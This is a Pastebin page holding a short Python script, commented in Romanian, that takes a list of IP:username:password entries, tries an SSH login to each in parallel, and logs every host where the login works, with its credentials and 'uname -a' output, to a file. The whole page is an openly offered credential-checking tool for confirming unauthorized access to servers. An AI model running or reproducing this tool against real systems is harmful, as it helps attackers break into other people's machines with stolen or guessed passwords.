Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- #Coded By me
- #Cateva librarii
- from multiprocessing import Process
- import sys
- import paramiko
- file = open(str(sys.argv[1]),'a+')
- paramiko.util.log_to_file("log.txt")
- #Definim conexiune in paramiko
- def ssh_connect(host,user,passwd):
- try:
- ssh=paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- ssh.connect(host,port = 22,username = user ,password = passwd ,timeout = 10)
- stdin,stdout,stderr = ssh.exec_command("uname -a")
- version = stdout.read()
- ssh.close()
- ver = "[+][%s:%s:%s:%s]"% (ip,user,passwd,version)
- if "Linux" in ver:
- print ver
- check = open("check.txt","a").write(ver)
- except:
- pass
- #definim Threderul infinit
- for line in file:
- target_root = line.split(":")
- ip = target_root[0]
- user_name = target_root[1]
- pass_target = target_root[2].strip()
- thread = Process(target=ssh_connect , args=(ip,user_name,pass_target,))
- thread.start()
- print("Done!")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement